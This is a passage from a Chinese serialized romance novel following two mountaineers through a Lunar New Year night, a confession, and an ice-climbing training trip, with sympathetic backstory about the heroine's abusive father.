华松栩一听,偏过头去抹脸,“怎么每次哭都被你撞见,烦死了。”
嘴上说烦,其实又哭了好一阵才停。
经过情绪宣泄,泡浓的方便面也好吃了起来。华松栩吃完还意犹未尽,眼神巡游一圈,“餐边柜最下面,给我拿啤酒。”
徐汀云就喜欢被她使唤,脚踩风火轮啤酒拿了启瓶器也找到了,砰一声开好才递给她。
“你不喝吗?”
“不喝,我酒量不行。”
华松栩一口气已经喝了一半,闻言晃晃瓶子,“一瓶啤酒都不行?喝多会怎样?”
“不行。”徐汀云连连摇头,“上次喝了半瓶,睡了一天半才起床。”
缺觉如华松栩听了都吓一跳,酒是不敢劝的,只能自己喝。
徐汀云趁这会功夫将食物残余垃圾分类收好,用抹布擦干净茶几,“卧室需要帮你收拾吗?”
华松栩拿过抱枕,顺势躺下,“二楼左手边两个房间是客房,床品在柜子里,你挑一间。我就睡这里。”
“沙发睡久了多不舒服?”
华松栩侧身蜷缩,“今天不想睡在密闭的空间,客厅有落地窗。”
向外看,屋内的落地灯和外面明亮的路灯在玻璃上融为一体。
徐汀云心尖刺痛。
他从二楼找来毛毯,又从自己的背包里掏出一个红包。
“这是什么?”华松栩任由他给自己整理被角,疑惑道。
“压岁包。”
“干什么的?”
徐汀云隔着抱枕抬起华松栩的颈,将压岁包放好压住,“给你压岁的。”
华松栩当然知道什么是压岁包,只是没想到自己一把年纪还能收到,瞬间失笑,“这不是给小孩的吗?”
“嗯。”徐汀云退至一旁的单人沙发坐定,“允许你做小孩。”
华松栩把手伸进抱枕底下捏了捏,“五千?”
“差不多吧。”徐汀云模棱两可道,“压岁钱不许拒绝。”
“我收你的钱算怎么回事?”
“就当入住的房费,外加一点心意。”
墙上挂钟机械地运行,短针恰好从九爬到了十。
徐汀云看出她在强打精神,轻声说:“困了就睡,我在这陪你。”
如果是平时,华松栩肯定会把他赶回卧室,而不是窝在狭小的单人沙发。但此刻她自顾不暇,完全没听出徐汀云的言下之意,往毛毯里又缩了缩,便坠入深不见底的梦里。
黑暗中,华松栩坐在床边,死死盯着卧室门的缝隙。
脚步由远及近,时轻时重,时快时慢,步频也长短不一。粗重的呼吸声,伴随着口齿不清的嘟囔,穿过精美的壁纸和钢筋混泥土的墙面,在她耳边隆隆作响。
忽然,世界静了下来。不是安然入睡的宁静,是暴风雨来临前最后的宁静。
门把手动了,但反锁后锁芯卡住了框,发出脆响。
华松栩攥紧了拳头,但很快又松开了。怎样都没用的,反抗只会换来更激进的对待。
门框门板开始剧烈碰撞。
她其实已经麻木,不会再害怕,也不会再崩溃痛哭。但经过数不清的日夜里积攒的肌肉记忆,她还在颤抖。就像明知自己是神仙难救,仍向漫天神佛祈祷。
华松栩祈祷自己不要变成华炜这样的人。祈祷自己不要因为一时冲动,趁月黑风高、华炜酒醉熟睡后,杀了他。
她一定、一定要坚持下去,坚持到能干干净净离开迎接属于自己的清晨,而不是从“家”这个牢笼,迈进监狱的牢笼。她一定可以。
但是这一夜好长,好长,好长……华松栩真的快要撑不住了。她喘不上气,也不敢出声,只是一个劲攥着手,希望指甲陷得深一些、掌心再疼一些。
可是无论她怎么用力,痛感依然缺席。
华松栩有些疑惑,直到——
耳边有呼吸声!
华松栩骤然睁眼,一个黑影就在面前不足半米。她整个人僵直,动弹不得,连瞳孔都被恐惧冰封。
“是我。别怕,是我……”
一个沙哑的男声穿破了黑暗,一缕清爽的木香轻柔挽了过来。
华松栩依旧看不清眼前人的脸,甚至在理智回笼前,身体先一步放松。她栽回柔软的沙发中剧烈地喘息,这才发现自己竟然紧紧攥着一只结实有力的手臂。
华松栩慢慢松开,“徐汀云?”
“嗯。”徐汀云应,“做噩梦了吗?”
“……嗯。”
徐汀云半宿未合眼。过去几个小时发生的事情深深刻在了脑海中,他不光心疼,他全身每一个器官每一块皮肉都疼。在和谐家庭中长大的他根本想象不来,华松栩前二十年过着怎样的人生。
到底为什么、为什么,一个父亲会那般对待亲生女儿!他愤怒,为自己的无能为力而愤怒,理性在凌晨的寂静中燃烧。
此刻,徐汀云强行压下怒火,盘腿坐在沙发和茶几的缝隙,拂去她额间的薄汗,“我在,你什么都不用怕。放心睡吧,我一直在。”
华松栩终于适应了黑暗,也看清了近在咫尺的面庞。那双黑眸亮如晚星。
“我不想睡了。”她说。
“那就不睡。”徐汀云道,“我也不睡,陪你。”
沉默少顷,噩梦的余韵散去,华松栩终于清明,“一直没睡吗?”
“睡了,刚醒。”
“骗我。”
徐汀云轻笑,“什么都瞒不住你。”
初见,他是横冲直撞的毛头小子。相识后,他是热情活泼的阳光弟弟。后来,他是进退有度的可靠战友。现在,他是华松栩触手可及的光明,是只要想到他就会安心的依靠。
华松栩想抓住他,希望自己的未来有他。于是问:“攀冰训练营结束那晚我问的问题,现在可以回答了吗?”
——选择雪山攀登这条荆棘路,是因为热爱,还是因为她。
“可以。”徐汀云说,“但我想先听听你的原因。”
“我的原因……想活,偶尔想死。”华松栩哧哧笑了起来,“你知道我怎么离开海城的吗?丰哥装我
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的相好和华炜在客厅大吵,我趁机在书房偷身份证。”
“偷到了?”徐汀云笑不出来,哑声问。
“没有,怎么找都找不到,还被家里的阿姨撞破了现场。”
“然后呢?”
“那是一位很冷漠的阿姨,只做自己的分内之事,撞见我被打得吐血都当没看见,嘴非常严。所以华炜对她非常满意。”华松栩轻吐了口气,“但那天,阿姨替我偷了身份证,让我立刻走,离开海城,再也别回来。”
二十岁孑然一身的华松栩从二楼翻窗而下,坐上了罗丰的那辆破越野离开海城,一路向西,再没回过头。
“从小到大,我从来的没得选。他让我学小提琴我就必须学,他让我考第一我就必须考。我拼了命努力,就等成年后彻底远离他。”
“高考查分那天我特别开心,将近七百的分数代表我一定可以去京大。我一边偷偷打工攒钱,一边等录取信息。结果等来了的是晴天霹雳……人最怕的就是希望落空,当时真挺想死的。”
“留在海城读工程专业,毕业进他的公司当个提线木偶,嫁给张明那个瓢虫儿子……”华松栩顿了顿,“遇到丰哥,发现自己有能力有天赋做一件事、还是自己选择的事,我第一次觉得有成就感。那是拿小提琴青少组比赛第一、次次考第一都没有的成就感。”
徐汀云发觉脸颊有什么滑过,正想摸一下,一只手比她更快。
华松栩指尖触及他棱角分明的下颌,“怎么哭了?”
徐汀云后知后觉,嗓音艰涩,“眼里进沙子了。”
华松栩失笑,捏着他的下巴轻晃,“都过去了,别哭。”
徐汀云像小狗一样将脑袋的重心都搭在她冰凉的手心,蹭了蹭。什么都没说,仅一个动作,就抚平了她所有情绪。
华松栩继续说:“我选择的时候处于很迷茫的阶段,就像溺水的人迫切抓住浮木,顾不得上面是枝叶还是钉子。足够幸运,我抓到了自己的热爱。”
“那为什么一定要我想清楚?”徐汀云明知故问道。
“因为你和我不一样,你有更好的选择。我不想你后悔。”
徐汀云淡声道:“我不会。”
华松栩微叹,“你还年轻,未来还长,人的想法是会变的。总有一天——”
“八年,算长还是短?”徐汀云问。
华松栩哑然。
“比起理性分析利弊,比起去思考哪条路好,我更愿意相信直觉和感情。”徐汀云揉揉她的发心,“我相信第一次看到雪山攀登视频的悸动,相信走进山野走进自然的快乐,相信挂在冰壁上肾上腺素爆棚的畅快。”
华松栩感同身受,渐渐放心来,“早这样回答不好吗?”
害她白担心那么久。
不料,徐汀云又说:“还有最重要的一点,我相信你。”
他借着夜色,放任爱意在眼神中流淌,“相信我崇拜、仰视八年的运动员阿栩。”
华松栩呼吸一窒,有些紧张,又莫名有些失落。
徐汀云似乎看穿了她的想法,略微停顿后温声道:“更相信——抛去一切title、仍然让我喜欢到发疯的华松栩。”
48. 本是高山
华松栩往肘间埋了埋,干巴巴地说:“你打包行李回家吧,不带你玩了。”
“我不。”徐汀云沉沉笑出声,“都说了,只跟着你。”
华松栩沉默,并用毯子盖住大半张脸。
“别捂着了!”徐汀云赶紧扒拉开,小声解释,“我还是有自知之明的,所以你别有负担。”
华松栩真的很想给他一爆栗。不给人心理准备就打直球,怎么可能没负担?但她有自己的考虑,于是梗着脖子不说话。
在短暂的沉默中,激情表白两次的徐汀云后知后觉,有点不好意思,“那个……我是第一次,没经验。”
华松栩:?
“我没这样过,可能有点冒进。”
华松栩:?
徐汀云叹气,“如果让你不自在,就当什么都没发生,我们还是单纯的革命战友。
“……”华松栩艰难出声,“闭嘴。”
华松栩脑仁嗡嗡,都什么和什么?但一看小徐眨巴眼睛乖乖抿唇的样子,是一点火都发不出来。
“入行规划。”她拍拍徐汀云的脑瓜,“给你三十秒思考一分钟阐述。”
徐汀云不假思索,“年后赶在攀冰窗口期结束前,尽量够到WI5。三月中旬去常春峰初级阿式攀登的培训,四月初去巴朗山区域爬几个四千米级的雪山练手,五月——”
“等等。”华松栩敏锐察觉,“你联系老周了?”
“是。”徐汀云承认,“参加训练营那几天,我请教过周哥。”
这么系统的规划,绝对不是徐汀云一个人查资料就能想出来的。见他背着自己什么都想好了,华松栩悻悻道:“如果我不问,是不是打算先斩后奏了?”
“没有。”徐汀云小媳妇状解释,“知道你年后开始训练会很忙,不想让你分心。”
华松栩拿起手机,翻了好一会后递给徐汀云,“三月初去这。”
徐汀云被屏幕的亮度刺得眯着眼,但在看清上面的字后双目圆睁,“小林沟攀冰赛?我?”
“没信心?”
“这不是一众前辈的舞台吗?我毕竟才刚开始。”
华松栩刚入行那几年,过的是省吃俭用的苦日子。装备贵,好装备、能保命的装备更贵。罗丰小有名气有些赞助,但完全不够两人的开支。所以为了爬一座雪山,她疯狂训练,除此之外就是疯狂打零工攒钱。
一个大学辍学的人能做的事情太有限了。她用高中被迫考过的雅思和大一考过GRE接了一点翻译工作,在蓉城郊区那家网吧兼职夜班,昼夜不停。这样的生活非常消耗人的精力,她开始在白天需要高度集中的训练里屡屡分心。
时间长了罗丰觉得这样不行,不说出成绩,一个失误可能命都没了,于是去找赞助商谈两人捆绑的事项。但他们一看华松栩是个女人,一看成绩平平,无一例外地回绝了。
赞助商衡量利益,需要的是商业价值,需要的是肉眼可见的潜力。
华松栩不想让徐汀云也过那样的苦日子。
“冰镐砸进冰壁可不会论资排辈,只看实力和胆量。”她说。
徐汀云沉默少顷后扣下手机,四周骤暗,深沉又磁性的笑声如墨色晕染开来。
“笑什么?”
“高兴。”徐汀云道,“你同意了。”
华松栩指尖抵住徐汀云的肩,“背着我和老周都商量好了,我不同意有用吗?”
有些事情阻拦无用。一个人铁了心要做,别人是拦不住的。华松栩也不行。
两人一个躺在沙发上,一个胳膊肘撑着沙发,几乎是头并头。又聊了好一会登山的事情,华松栩终于昏昏欲睡。
她嘟囔,“你去卧室睡吧……”
徐汀云答非所问:“我在呢,晚安。”
这次华松栩睡得格外安心,而徐汀云在沙发旁坐了一整夜。
第二天,华松栩在一室阳光中悠然转醒。
她眼睛都没睁开,“徐汀云?”
等了几秒,没人应。
华松栩磨磨蹭蹭起身,有些涣散的目光从客厅群逡巡至厨房,人确实不在。于是去拿茶几上的手机,发现下面压了张纸条,写了两行字。
【借用你的自行车去趟超市,很快回来。新年快乐,华松栩。】
华松栩用指尖描摹刚劲有力的笔迹,忽然想起昨夜的压岁包,去沙发缝隙里摸了半晌才找到。数了下,整整52张,5200。
华松栩难掩笑意。这人还真是一如既往,暗戳戳地抠细节。
新年快乐,徐汀云和华松栩。
落地窗外,水蓝的天映着院里的中华木绣球舒展,凛凛寒风已被留在昨夜,温暖的日光预示新春伊始。今天,又将是新的一天。
华松栩洗完澡再次下楼,发现徐汀云不知什么时候回来,正在厨房奋力拼搏,胳膊舞动的频率堪比打蛋器。她裹紧睡袍走过去一看,是在拌饺子馅。
“饿了——”徐汀云回头,见她不仅头发未干,连睫毛都湿漉漉,与此同时沐浴露的馨香袭来,想说的话瞬间卡在嗓子眼。
华松栩探身嗅了嗅,睡袍腰带蹭过男人大腿前侧,发梢的水珠落于那只扣紧盆边的手,“芹菜猪肉?”
“……”徐汀云吞咽了下,“嗯。”
华松栩用手比划,“这么多,吃得完吗?”
“吃得完。”徐汀云又吞咽了下,“我挺饿的。”
整整24小时就吃了两桶泡面,对正当年的小伙子来说是多么残忍。
“罪魁祸首”华松栩讪讪噤声,余光瞥见徐汀云袖口下刺目的红痕。青劲的小臂上,是数道创口,最深的渗血后凝固泛着深红,最浅的破皮后泛着白,明显是指甲刮伤。
华松栩在梦里下手没轻没重,这会心跳也轻一下重一下,闷闷地问:“怎么不躲?”
徐汀云一甩手臂,袖口落回腕间,“不疼。”
他将女人额鬓间散乱的发丝拢至耳后,温热粗粝的指腹擦过耳廓,又捻了捻指尖的湿意,“小心着凉,去吹头发。”
华松栩回过神来时,人已经在二楼浴室,听话地拿起了吹风机。她摸摸耳垂,脸颊有点烧。
有些事情变得不太一样了。
闲下来的时候,时间过得又快又慢。华松栩隐约觉得和徐汀云一起吃了很多顿饭,看了很多部电影,去公园走了很多路,还除了很多院里的杂草,一看日历大年初四,才过了四天。
“你去,我不去。”华松栩没骨头似的歪倒躺下,用
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肢体语言发出抗议。
徐汀云哼唧唧,“我还没去过攀岩馆,你教教我。”
“阿式攀登的基础是攀冰干攀,攀岩没多大意义。不去。”
“那也陪,我想玩先锋。”
“找教练陪,我出钱。”
徐汀云转转眼珠,“那这样,你答应我一件事就不去。”
华松栩狠狠瞪他,“哪有你这样谈条件的?”
“相信小徐,你买不了吃亏买不了上当。”徐汀云笑容人畜无害,“不然我现在滴滴个车咱——”
“说条件……”
这几天华松栩对徐汀云纵容得厉害,导致某人得寸进尺。她毫不怀疑,他能做把自己强行背去岩馆的事情。
徐汀云拿起手机,直接了当道:“把你不想接的电话设置呼叫转移,转给我。”
华松栩完全没想到,一时怔忪。
这几天和贺灵联系专访的事情没关机,时不时还会接到华炜和张明的电话。这些徐汀云都在看在眼里,也琢磨了挺长时间,“如果有情况我和你说,其他时候你就这些人这些事当不存在。”
说不触动是假的,但不能任由情绪做主。
华松栩压下情愫,轻笑摇头,“你一天别瞎操心,专心学点理论知识,一周后老周的魔鬼训练就要开始了。”
徐汀云辩解,“不影响,本人能一心三用。”
“三用?怎么不上天?”华松栩冷哼,“从现在开始你只能一心一用。”
徐汀云还不放弃,却被华松栩挥手打断,“免谈,再说就不陪你去攀冰赛了啊!”
一听便知某人心意已决,他垂眸把玩着手机,好半天没吭声。
华松栩抬手就是个脑瓜崩,“不许胡思乱想。”
徐汀云嘟囔,“想你怎么是胡思乱想……”
华松栩动动耳朵,“说什么呢?”
“……没什么。”
被宠上天的小徐接连碰壁,也栽进沙发一起葛优躺,顺便悲愤望天。
华松栩不由勾唇,暗自感叹。
还真让老周说中了,她可真是捡到宝了。
大年初五,华松栩带着她的宝抵达海城机场。一个飞蓉城,一个飞京市。
过了安检,她瞅瞅自己的登机牌,又瞅瞅徐汀云的,“比我晚一小时?”
“嗯。”徐汀云接过华松栩的随身包,“送你去登机口。”
时间还充裕,华松栩晃悠悠往过走。路过显示航班信息的大屏时她随意一瞥,看到了一趟四十分钟后起飞的班次,“你怎么不买这一班?十一点……还得多等好一会。”
徐汀云理所当然道:“要送你。”
一路送至登机,分别时,汀云笑着说:“阿栩,蓉城见。”
反正五天后就见,华松栩毫不留恋挥挥手就走,干脆利落。
徐汀云凝视那笔挺的背影,忽然想到那句宣传语。
她本是高山。
自除夕那夜之后,华松栩立刻恢复了平时的状态,冷静、理智、独立。她本是高山,无论狂风暴雨还是日晒风吹,都无法折去那一身坚韧和傲骨。
他目视着承载华松栩的那辆航班起飞又钻进云层后,撕掉手中的登机牌,转身出了机场。
49. 我做不到
华松栩被徐汀云鸽了整整五天。说好的初十赶到,元宵节那天才姗姗来迟。
期间电话倒是不断,早中晚定时定点问候,只是她复健训练一忙就顾不上,只能等睡前才回过去。两人会聊聊白天做了什么事又遇见了什么人,然后自然而然的互道晚安。
“你那迷弟几点落地?”坐在副驾的周耀悠悠转醒。
华松栩瞥了眼手机,“七点十分。”
周耀探头一看,“才六点五十。”
“睡足了?”华松栩睨他。
“还成。”周耀如实道。
华松栩摁下车门解锁键,毫不留情道:“下车,接你的宝贝学生去。”
“……你呢?”
“困了,要睡会。”
赶走周耀,华松栩放倒座椅闭目养神。随着训练强度逐级上涨,肌纤维增大,退化的肌群开始向巅峰时期靠拢,代价就是酸痛疲乏。是以她一不留神,还真睡着了。
徐汀云跟着周耀走到停车场,一眼看到驾驶座上安静的睡颜。
“她最近没休息好吗?”他驻足,眉心拧成一个川字。
周耀挠头,“休息……应该还行吧?就是练得有点猛,那倔脾气谁都劝不住。”
徐汀云发自内心地叹气,把行李放到后备箱后折回来,敲了敲窗才拉开门。
“来了?”华松栩一睁眼就看到徐汀云那张风尘仆仆的俊脸,旋即蛄蛹着伸展,“我怎么睡着了……”
“来了。”徐汀云笑了下,冲她伸手,“你去副驾继续睡,我开。”
华松栩醒过神来,调直椅背,“不用,你早上三四点就起床了吧?去后面休息。”
“我在飞机上睡过了,这会精神得很。”徐汀云佯装不快,“说好做不要钱的代驾师傅,现在怎么反悔了?”
已经坐上副驾很久并被彻底忽视的周耀翻了白眼,“我开,我开!我老周吃饱喝足能干活,我开行了吧!”
华松栩想都不想道:“行。”
周耀瞪她,后者耸耸肩浑不在意,只得去瞪徐汀云。
小徐正憋笑呢,对上周耀幽怨的目光赶紧收敛神色,礼貌又乖巧道:“谢谢周哥。”
华松栩撑着徐汀云伸过来的手臂跳下车,察觉掌心触感不对,蹙眉问:“穿这么薄?”
“不冷。”徐汀云笑。
华松栩又捏了捏,确定冲锋衣里只有抓绒,“蓉城这几天降温,羽绒服穿上。”
“好,听你的。”徐汀云应,心里甜甜的,嘴上也甜甜的。
受到暴击的周耀绕过车头,推了徐汀云一把,“你坐后面去!”
谁料,华松栩陪徐汀云一起坐上后座,“老周你好好开。”
周耀忿忿道:“真当我是司机呢?”
然后老周就又被忽视了。
“脸怎么回事?”华松栩瞥见徐汀云下颌处可疑的痕迹,“这是指甲刮出来的吗?”
徐汀云摸了摸,“有吗?没感觉。”
华松栩直接捏住他的下巴,凑上去仔细检查,又在另一侧脸颊发现一处很淡的淤青,“你到底干什么去了?”
徐汀云对这种亲密的小动作很受用,喜滋滋的,“京市下雪,我出门扔垃圾摔了一跤,快好了。”
华松栩把他的脑袋扒拉回去,重新凝视那道指痕,“这个呢?”
徐汀云见她满脸狐疑,含笑问:“怀疑我?”
华松栩神色一僵。
徐汀云又用下巴蹭她的手,眼里亮晶晶,“是不是怀疑我?”
得寸进尺是不可取的。小徐被重重一掌推开,脑门嘣一声磕在玻璃上。
“嘶!”徐汀云赶紧揉脑袋,揉着揉着忽然觉得似曾相识,“到京市那天的出租上,你是不是趁我睡着虐待我了?”
“……”被戳破的华松栩清清嗓子,“我是那样的人吗?”
“当然不是。”看穿一切的小徐嗓音温柔宠溺,“你最好了。”
“……”
目视前方的称职司机周耀忍无可忍,怒拍方向盘,“你俩!加起来五十多岁的人了幼稚不幼稚!”
华松栩选择性听不见,靠着椅背合上眼。
徐汀云扶住前排椅背,小心探头,“周哥,中午我请您吃火锅?”
“光请我?”周耀语气酸溜溜的。
徐汀云是个双商在线的活络人,和谁都能友好相处,但能让他耐心哄的只有一个。
所以小徐假装没听见,用胳膊肘碰华松栩的胳膊肘,低声询问:“吃火锅行吗?”
“行。”
“……你怎么不问我行不行?!”
“我听阿栩的。”徐汀云用最谦逊的语气说出最冰冷的话。
华松栩闭着眼都能想到周耀那气呼呼的样子,不由勾唇。
这样的日子,很不赖。
徐汀云休整了一天后,三人驱车小林沟,奔赴即将结束的攀冰季。一如既往,周耀打头,徐汀云开牧马人在后,车主人坐在副驾哈欠连天。
徐汀云无奈,“怎么每天都这么缺觉?”
“等到地方,你就知道提前攒觉有多重要。”
白天在寒风瑟瑟中攀爬冰壁冰瀑,晚上在隔音极差的木屋艰难入眠,条件就是这么的恶劣。没办法,二月下旬气温整体回暖,适合攀冰的地方骤减,小林沟已经是最佳选择。
徐汀云没经验,正想问原因,忽然闷声咳嗽了起来。
华松栩蹙眉,“怎么回事?着凉了?”
徐汀云抬手掩唇,“咳咳咳——没、没事咳咳咳!”
眼看越咳越厉害,华松栩赶紧拧开水杯凑到他唇边,“喝一点缓缓。”
徐汀云抬手要接却被挡开,最终就着她的手喝了几大口,这才顺过气。
“谢谢。”他清嗓子,“没着凉,有点上火。”
华松栩将杯子放回中控,不解道:“这么冷的天怎么上火?”
“体质问题。”徐汀云顺着她的动作瞥了眼,这一看才发现自己用的竟然是华松栩的保温杯。
保温杯,喝水的保温杯……
这不就是——间接那什么!
小徐把方向盘攥得死紧,又红温了。
在他计划之外的激情表白后,华松栩的表现堪称冷静。不仅没有恶狠狠的拒绝,连提都没再提,好像根本没这回事。
比如,之前撞见他洗澡还会害羞,现在只会用冷冰冰的眼神上下打量一番,再轻飘飘移开视线。
又比如,自然地用她的保温杯给自己喂水,在高速上也没法清洗,万一她用他用过的杯子喝了的话——
华松栩也清了清嗓子,打开杯盖,慢悠悠地抿了好几口。
她喝了!喝了!
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徐汀云目不斜视,余光都不敢再看,车开得依然挺稳,脑海中却在天人交战。
她到底什么意思?是对自己有一点点好感呢,还是完全没把自己当个男人?说有好感吧,可她好坦然,只有心里没小九九的人才坦然。但说完全没把自己当男人吧,她对自己又和对其他人都不一样。
感情这东西太复杂了,小徐弄不懂。但凭之前华松栩的迟钝来看,大概率还是后者。毕竟看似亲昵的行为,都是在她情绪不太好的时候,那种情况想让人陪伴很正常,绝不能算作有好感的证据。
很有自知之明的小徐捏捏后颈压下失落,将思绪聚焦在自己。现在的他没有和她比肩的资格,所以必须足够努力。摆在眼前的就是下个月的攀冰赛,他悄悄为自己定下了目标。
下午三点下高速,沿着国道开了两小时,又过了一个多小时的颠簸土路,终于抵达了离攀冰基地最近的客栈。
掀开帘子,炉子熊熊燃烧的热浪裹挟闹轰轰的人声袭来,一下就从孤冷的冬季迈入另一个季节。
华松栩把包放在通铺上,惊讶道:“最近这么多人?”
疑问被谈笑声淹没,自然无人回答。
徐汀云小心地错开坐在板凳上的冰友,凑到她耳边问:“这么满,还能住下吗?”
华松栩抬手一指,扯嗓子道:“老周去问了!”
周耀轻车熟路地穿过连廊,没一会就折了回来,冲俩人招手。
华松栩正要背包,却被徐汀云抢先。只见他一手提着48L塞满的大包,肩上背着自己的50L大包,还顾得上护着她穿梭人群。
终于挤到门边,华松栩问:“怎么样?”
周耀晃了晃手里的钥匙,“一个好消息和一个坏消息。”
华松栩一想便知,“就剩一间了?”
“其他都被预定了,只有一间一张床空着。”周耀拍拍徐汀云的肩膀,“咱俩今天得打地铺了。”
“没问题,总比荒郊野岭扎营强。”徐汀云乐观道。
周耀和华松栩闻言,不约而同投来怜悯的目光。
徐汀云:?
从狭窄的室外铁制楼梯爬至三层,徐汀云已经感觉不妙。当正式踏入房间时,他终于确切地明白了周耀的意思。
怎么说呢?就是还不如睡帐篷。
在这十平米转个身都难的房间里,靠墙摆了张1.2m的单人床,床尾有一排矮柜,左侧靠门是只能容纳一人的卫生间。
周耀比划着床位和柜子之间的距离以及柜子到门口的距离,“为保护新人,小徐先选今天睡哪块风水宝地。”
徐汀云取下绑在包底的蛋巢垫,放地下一看,因为过于无语而笑出声,“所以要么睡卫生间门口,要么睡床缝。”
周耀打了个响指,“概括精准。”
华松栩说:“我在车上睡了很久,不困。今天你俩挤挤一起睡。”
“不可能。”徐汀云拒绝。
“轮换来。万一一直没空房,难道你俩一直睡地下?”
毕竟还有周耀,徐汀云退了一步,“那就周哥一天你两天,我睡地下。”
华松栩失笑,“玩户外哪能不吃苦?”
徐汀云摁着华松栩在床沿坐定,黑眸里满是执拗。
“能力之外的另说。但让我躺床上看你睡地下,我做不到。”
50. 偷情抓包
走廊上时不时传来脚步声,由远及近,紧接着是关门声和说笑声。夜色被撕掉那层寂静的外衣,也驱散了氤氲的睡意。
华松栩侧过身,枕着右手臂,用眼神描摹黑暗中男人的轮廓,心里又酸又软。
徐汀云立刻察觉,也侧过身枕着左手臂,“睡不着?”
“嗯,白天睡太多了。”华松栩叹息,“要么让你俩睡床。”
“不用,我睡缝里也挺好,暖和。”
门口,老周已经陷入睡眠,隐隐有呼噜声浮现。
华松栩压低嗓音,“你对谁都这么贴心吗?”
徐汀云失笑,“问这话就没良心了啊!”
他对谁贴心,她应该最清楚才是。
“如果今天你和另一个女生拼房,你也这样?”华松栩又问。
“我怎么样?”徐汀云明知故问。
“……就这样。”
望着那蜷缩的小小身形,徐汀云真想看看她的脑瓜里装着些什么,无奈地说:“我是会和女生拼房的人吗?我直接出去搭帐篷了。”
华松栩幽幽道:“我不是女生吗?”
“……”徐汀云卡壳,旋即反问:“那你想让我出去吗?”
“……”这下轮到华松栩卡壳,“乖乖躺着。”
华松栩有些搞不懂,两人现在处于什么阶段。
这人兀自表白,又兀自说不求她的回应,然后兀自翻篇。她其实是有些想法的,但没机会讲。
所以华松栩暗示过不少次,比如不避嫌的肢体语言,比如只和他会有的亲昵。然而徐汀云完全没察觉,又或是察觉了但装傻,总之是石沉大海。
在攀冰比赛结束后她就要进山了,和徐汀云势必是长时间无法见面。在两个月的朝夕相处后,华松栩有点舍不得。
她应该会想他。
“你找到搭档了吗?”徐汀云忽然问。
华松栩思绪被打断,换成平躺的姿势盯着天花板,“打算和肖鸣磨合一下试试。”
徐汀云回在攀冰训练营时见到的俊秀男人,心里涌现浓浓的羡慕,甚至有点嫉妒。
“需要磨合多久?”
“至少爬几座5000米级的技术山峰再看。”
徐汀云发出沉重的叹气。
“怎么了?”
“在想,什么时候你能带上我。”
华松栩警告:“先学会走再说跑,稳扎稳打,知道吗?”
“知道,就是舍不得。”徐汀云嗓音微哑,“我得训练,你得磨合,还都是在信号微弱的荒山野岭,打电话都难。下次见面不知道到什么时候了……”
“别想东想西。”华松栩凶他,“要是敢分心,我就让老周抽你。”
“既然如此那你提前抽吧,我肯定会想东想西。”徐汀云顿了顿,“我肯定会想你。”
这间小小的房间是音乐厅,一根心弦小心翼翼的嗡鸣,直到另一颗心汇入。隐秘又热烈的交响曲奏响之际,是彼此的心跳和鸣。
思念的不止一人。
还没分开,便开始绵绵思念的也不止一人。
华松栩起身探出床沿,踢了徐汀云一脚。踢完觉得还不够,于是又踢了一脚。
“嘶!”徐汀云就喜欢她不客气,浑身都舒爽了,贱嗖嗖道:“不愧是专业运动员,这个上脚力度,冰爪肯定一秒入冰。”
华松栩放下即将飞起的脚,默默下床在他旁边蹲下。
徐汀云警惕,“你不会趁我行动不便非礼我吧?”
毕竟双手双脚都裹在睡袋里,毫无还手之力,很可能被抓住酱酱酿酿。年轻力壮的小徐想。
“非礼?”华松栩笑了。
徐汀云攥着手,生出隐秘期待。
然后两只耳朵同时被拧住了。
华松栩原先的小心思小情绪被直球选手撞得七零八落,没来由有点害羞,所以下手愈发狠了。一言不发,就是抓着某人的脑袋来回摇晃。
徐汀云是真疼,虽然脸侧柔软的触感让他恋恋不舍,但是真的疼。于是在天旋地转中从睡袋里拔出胳膊,抓住那只纤细的手腕,“轻点,快被你晃傻了。”
“活该!”华松栩放开他的耳朵,却没甩脱他的手,“松开!”
徐汀云沉沉笑开了,“不松。”
挣扎中温热粗粝的指腹划过手腕内侧,连着小半个胳膊都酥酥麻麻。
华松栩咬牙,“快点!”
“嗯~”徐汀云撒娇。
就在这微妙的时刻,被遗忘的周耀忽然坐了起来。
华松栩以迅雷不及掩耳之势推开徐汀云窜回床上,躺下盖上被子一气呵成。她闭着眼,被自己心跳的咚咚声吵得更加紧张。
在漫长的、细细嗦嗦睡袋摩擦的声音中,华松栩紧张了好一阵。
突然,她反应过来——有什么可紧张的?她又不是在偷情!
但是躲都躲了,现在再坐起来更奇怪,只能继续屏住呼吸,直到房间再次安静了下来
又过了一阵,代表安全的呼噜声响起。
华松栩长长舒了口气,偏头去看和她一样装睡的“情夫”。这一看,扑哧笑了出来。
方才过于慌乱,徐汀云来不及钻进睡袋就直接躺在地下,这会头卡在柜子和墙的夹角。不像是睡着,像被人打晕了抛尸。
徐汀云揉揉磕在柜子上的天灵盖,“咱俩这样,真像被老师抓到早恋的高中生。”
“……谁跟你早恋?”华松栩翻身背对徐汀云,“睡觉!”
徐汀云笑了,“晚安。”
华松栩装没听见。
徐汀云躺回睡袋,拉好拉链,又说了一次,“晚安。”
华松栩咬咬唇,犹豫半晌后小声说:“晚安。”
第二天,徐汀云的魔鬼训练正式开始。
检查攀爬能力后,从两点三点建站、清冰、拆站、打冰洞下降,到绳子动静延展和冲追系数,再到抓结的方式和不同结的优缺点等等,四天的中级课程被周耀浓缩至一天,一股脑填鸭给徐汀云。
华松栩趁休息过来看了会,实在没忍住提出异议,“这么密集的知识他需要时间消化也需要实践,没必要这么赶。”
周耀双手抱臂,“是我教还是你教?”
“……你教。”
周耀打量她,“我还想问你呢,之前那小子说什么都不愿意跟我,现在怎么就答应了?”
华松栩视线飘乎,“不知道。”
挂在冰壁上练习的徐汀云隔老远喊道:“周哥,你过来瞅瞅这样可
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以吗?”
周耀没动,冲华松栩努嘴,“去吧。”
“不是你教吗?”华松栩瞪他,
周耀无辜,“不是你想去吗?”
“……”
被戳中心事的华松栩狠狠磕了下脚上的冰爪,这才悠过去,“我看。”
徐汀云把着冰镐,离地约莫一米出头的距离,在练习先锋见站。华松栩挥镐爬了两步,在他旁边停下检查。
三个冰锥呈三角形垂直冰面而入,建站绳通过主锁固定,理顺后汇聚下拉打单节,再次挂入两把同尺寸主锁锁门相对。
她拉了拉绳圈,三个冰锥受力均匀。摸了摸锁门,确保方向正确且锁好,挺像模像样。
“没问题。”华松栩说,“冰锥打得不错。”
徐汀云将右手冰镐挂回腰间装备环,舔了舔干裂的唇角,“照这个速度,后天能不能跟你去攀冰瀑?”
华松栩倒攀落地,“看你表现。”
她原本想说不行,但碰上徐汀云期待的眼神又没忍心,最终模棱两可没答应也没拒绝。连她都没想到,第二天徐汀云已经完美消化了中级训练营的所有知识——至少从理论和日常实践方面来讲。
